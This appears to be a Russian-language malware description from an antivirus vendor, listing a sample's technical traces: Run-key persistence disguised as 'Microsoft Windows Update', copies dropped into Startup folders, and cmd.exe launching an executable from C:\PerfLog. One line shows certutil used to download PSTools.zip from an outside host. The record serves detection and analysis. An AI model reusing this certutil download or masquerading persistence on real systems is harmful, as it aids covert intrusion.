Техническая информация
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Microsoft Windows Update' = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<Имя файла>.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Microsoft Windows Update' = '%HOMEPATH%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<Имя файла>.exe'
- %HOMEPATH%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<Имя файла>.exe
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<Имя файла>.exe
- %HOMEPATH%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<Имя файла>.exe
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<Имя файла>.exe
- %HOMEPATH%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<Имя файла>.exe
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<Имя файла>.exe
- '<SYSTEM32>\cmd.exe' /c certutil.exe -urlcache -split -f "https://download.sysinternals.com/files/PSTools.zip" D:\pstools.zip
- '<SYSTEM32>\cmd.exe' /c C:\PerfLog\WindowsUpdate.exe